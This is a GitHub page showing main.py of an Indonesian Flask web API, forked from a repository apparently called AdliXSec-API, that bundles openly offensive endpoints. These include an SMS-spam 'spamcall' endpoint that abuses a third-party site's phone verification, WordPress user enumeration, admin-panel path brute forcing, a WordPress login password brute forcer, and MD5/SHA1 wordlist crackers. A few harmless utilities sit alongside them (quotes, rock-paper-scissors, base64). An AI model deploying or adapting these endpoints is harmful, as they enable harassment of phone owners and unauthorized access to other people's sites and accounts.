forked from AdliXSec/AdliXSec-API
-
Notifications
You must be signed in to change notification settings - Fork 1
/
main.py
442 lines (409 loc) · 12.8 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
from ast import Return
from urllib.request import urlopen
from flask import *
from requests import get, post
import json, random, hashlib, base64, string, socket
app = Flask(__name__)
@app.route("/", methods=['GET', 'POST'])
def index():
return render_template('index.html')
@app.route("/api", methods=['GET', 'POST'])
def api():
return render_template('api.html')
@app.route("/api/", methods=['GET', 'POST'])
def api1():
return render_template('api.html')
@app.errorhandler(404)
def notfound(e):
return render_template('404.html'), 404
@app.errorhandler(500)
def internalerr(e):
return render_template('500.html'), 500
@app.route("/api/spamcall", methods=['GET', 'POST'])
def spam_call():
if request.args.get('no'):
no = request.args.get('no')
if str(no).startswith('8'):
hasil = ''
exec = post('https://id.jagreward.com/member/verify-mobile/'+no).json()
if exec['result'] == 1:
hasil = "[!] Spam Berhasil"
status = 200
else:
hasil = "[!] Spam Gagal"
status = False
return {
"status": status,
"message": hasil
}
else:
return {
"status": False,
"message": "[!] Tolong masukkan nomor awalan 8"
}
else:
return {
"status": False,
"message": "[!] Tolong masukkan parameter no"
}
@app.route("/api/cjtest", methods=['GET', 'POST'])
def cj_test():
def check(url):
try:
if "http" not in url:
url = "http://" + url
data = urlopen(url)
headers = data.info()
if not "X-Frame-Options" in headers:
return True, headers
except:
return False
if request.args.get('cj'):
cj = request.args.get('cj')
status = check(cj)
if status:
return {
"status": 200,
"message": "Web "+cj+" Vuln Clickjacking"
}
elif not status:
return {
"status": False,
"message": "Web "+cj+" Not Vuln Clickjacking"
}
else:
return {
"status": False,
"message": "unknow error"
}
else:
return {
"status": False,
"message": "[!] Tolong masukkan parameter cj"
}
@app.route("/api/cmsscan", methods=['GET', 'POST'])
def cmsscan():
if request.args.get('c'):
url = request.args.get('c')
cmsop = get(url+'/admin',timeout=7)
cmsjoomla = get(url + '/administrator/index.php',timeout=7)
cmswp = get(url + '/wp-login.php',timeout=7)
cmsdrupal = get(url + '/admin',timeout=7)
if "dashboard" in cmsop.text:
return {
"status": 200,
"message": "CMS Found, CMS = OPenCarte"
}
elif "Joomla" in cmsjoomla.text:
return {
"status": 200,
"message": "CMS Found, CMS = Joomla"
}
elif "WordPress" in cmswp.text:
return {
"status": 200,
"message": "CMS Found, CMS = WordPress"
}
elif "sites/default" in cmsdrupal.text:
return {
"status": 200,
"message": "CMS Found, CMS = Drupal"
}
else:
return {
"status": False,
"message": "CMS Not Found, url = "+url
}
else:
return {
"status": False,
"message": "Masukkan parameter c"
}
@app.route("/api/wpuser", methods=['GET', 'POST'])
def wpuser():
if request.args.get("u"):
target = request.args.get("u")
print('\n')
getu = get(f"{target}/wp-json/wp/v2/users")
if getu.status_code == 200:
ipdata = json.loads(getu.text)
data = {
"status": 200,
"message": ipdata[0]['slug']
}
return data
else:
return {
"status": 200,
"message": "Masukkan parameter u"
}
@app.route("/api/randomquotes")
def random_quote():
sl = json.loads(open('quotes.json','r').read())
js = random.choice(sl)
return {
"author": js["nama"],
"quote": js["quote"]
}
@app.route("/api/main", methods=['GET', 'POST'])
def gbk():
if request.args.get('m'):
otak = ['gunting','batu','kertas']
encer = request.args.get('m')
mesin = random.choice(otak)
if encer == 'gunting' and mesin == 'batu':
return {
"status": 1,
"bot": mesin,
"message": "[X] HAHAHAHA Kamu Kalah!"
}
elif encer == 'batu' and mesin == 'kertas':
return {
"status": 1,
"bot": mesin,
"message": "[X] HAHAHAHA Kamu Kalah!"
}
elif encer == 'kertas' and mesin == 'gunting':
return {
"status": 1,
"bot": mesin,
"message": "[X] HAHAHAHA Kamu Kalah!"
}
elif encer == 'gunting' and mesin == 'kertas':
return {
"status": 2,
"bot": mesin,
"message": "[+] Hore kamu menang!"
}
elif encer == 'batu' and mesin == 'gunting':
return {
"status": 2,
"bot": mesin,
"message": "[+] Hore kamu menang!"
}
elif encer == 'kertas' and mesin == 'batu':
return {
"status": 2,
"bot": mesin,
"message": "[+] Hore kamu menang!"
}
elif encer == 'gunting' and mesin == 'gunting':
return {
"status": 0,
"bot": mesin,
"message": "[=] Wah Kita Sama!"
}
elif encer == 'batu' and mesin == 'batu':
return {
"status": 0,
"bot": mesin,
"message": "[=] Wah Kita Sama!"
}
elif encer == 'kertas' and mesin == 'kertas':
return {
"status": 0,
"bot": mesin,
"message": "[=] Wah Kita Sama!"
}
else:
return {
"status": False,
"message": "Masukkan parameter m"
}
@app.route("/api/passgenerator", methods=['GET', 'POST'])
def password_generator():
if request.args.get('p'):
text = request.args.get("p")
sha1 = hashlib.sha1()
md5 = hashlib.md5()
sha256 = hashlib.sha256()
sha384 = hashlib.sha384()
sha512 = hashlib.sha512()
sha1.update(text.encode("utf-8"))
md5.update(text.encode("utf-8"))
sha256.update(text.encode("utf-8"))
sha384.update(text.encode("utf-8"))
sha512.update(text.encode("utf-8"))
psha1 = sha1.hexdigest()
pmd5 = md5.hexdigest()
psha25 = sha256.hexdigest()
psha384 = sha384.hexdigest()
psha512 = sha512.hexdigest()
return{
"status": 200,
"sha1": psha1,
"md5": pmd5,
"sha25": psha25,
"sha384": psha384,
"sha512": psha512,
"message": "Password generator berhasil"
}
else:
return {
"status": False,
"message": "Masukkan parameter p"
}
@app.route("/api/b64", methods=['GET', 'POST'])
def b64encdec():
if request.args.get('enc'):
sample_string = request.args.get("enc")
sample_string_bytes = sample_string.encode("ascii")
base64_bytes = base64.b64encode(sample_string_bytes)
base64_string = base64_bytes.decode("ascii")
return {
"status": 200,
"message": "Berhasil encode",
"b64enc": base64_string
}
elif request.args.get('dec'):
sample_string = request.args.get("dec")
sample_string_bytes = sample_string.encode("ascii")
base64_bytes = base64.b64decode(sample_string_bytes)
base64_string = base64_bytes.decode("ascii")
return {
"status": 200,
"message": "Berhasil encode",
"b64dec": base64_string
}
else:
return {
"status": False,
"message": "Masukkan parameter enc atau dec"
}
@app.route('/api/iphost', methods=['GET', 'POST'])
def getIP():
if request.args.get('ip'):
host = request.args.get('ip')
ip = socket.gethostbyname(host)
return {
"status": 200,
"iphost": ip,
"message": "berhasil"
}
else:
return {
"status": False,
"message": "Masukkan parameter ip"
}
@app.route('/api/md5crack', methods=['GET', 'POST'])
def md5crack():
if request.args.get('md5'):
md5_c = request.args.get("md5")
pwd = open("mdpass.txt", 'r')
for password in pwd:
md5 = hashlib.md5()
md5.update(password.strip().encode('utf-8'))
if md5_c.strip() == md5.hexdigest():
return {
"status": 200,
"password": password.strip(),
"message": "Password Ditemukan"
}
else:
return {
"status": False,
"password": "",
"message": "Password Tidak ditemukan"
}
else:
return {
"status": False,
"message": "masukkan parameter md5"
}
@app.route('/api/adfind', methods=['GET', 'POST'])
def admninfind():
if request.args.get('af'):
url = request.args.get("af")
file = open("admin.txt", "r")
try:
for link in file.read().splitlines():
curl = url + link
res = get(curl)
if 'login' in res.text or 'Login' in res.text or 'LogIn' in res.text and res.status_code == 200:
return {
"status": 200,
"admin": curl,
"message": "Panel Admin Berhasil ditemukan"
}
else:
return {
"status": False,
"admin": "",
"message": "Panel Admin Gagal ditemukan"
}
except KeyboardInterrupt:
return {
"status": False,
"message": "Shotdown Requests"
}
except:
return {
"status": False,
"message": "Unknow Error"
}
else:
return {
"status": False,
"message": "masukkan parameter af"
}
@app.route('/api/sha1crack', methods=['GET', 'POST'])
def sha1crack():
if request.args.get('sha1'):
sha1_c = request.args.get("sha1")
pwd = open("mdpass.txt", 'r')
for password in pwd:
sha1 = hashlib.sha1()
sha1.update(password.strip().encode('utf-8'))
if sha1_c.strip() == sha1.hexdigest():
return {
"status": 200,
"password": password.strip(),
"message": "Password Ditemukan"
}
else:
return {
"status": False,
"password": "",
"message": "Password Tidak ditemukan"
}
else:
return {
"status": False,
"message": "masukkan parameter sha1"
}
@app.route('/api/wpbrute', methods=['GET', 'POST'])
def wpbrute():
if request.args.get('wp'):
if request.args.get('u'):
kondisi = 'Dashboard'
target = request.args.get('wp')
username = request.args.get('u')
pw = open('mdpass.txt', 'r')
for pwd in pw.read().splitlines():
form = {"log":username, "pwd":pwd, "submit":"wp-submit"}
req = post(target, data=form)
w = req.text
if kondisi in w:
return {
"status": 200,
"message": "Brute berhasil",
"password": pwd
}
else:
return {
"status": False,
"message": "password tidak ditemukan",
"password": ""
}
else:
return {
"status": False,
"message": "tambahkan parameter u untuk username"
}
else:
return {
"status": False,
"message": "masukkan parameter wp"
}
if __name__ == "__main__":
app.run()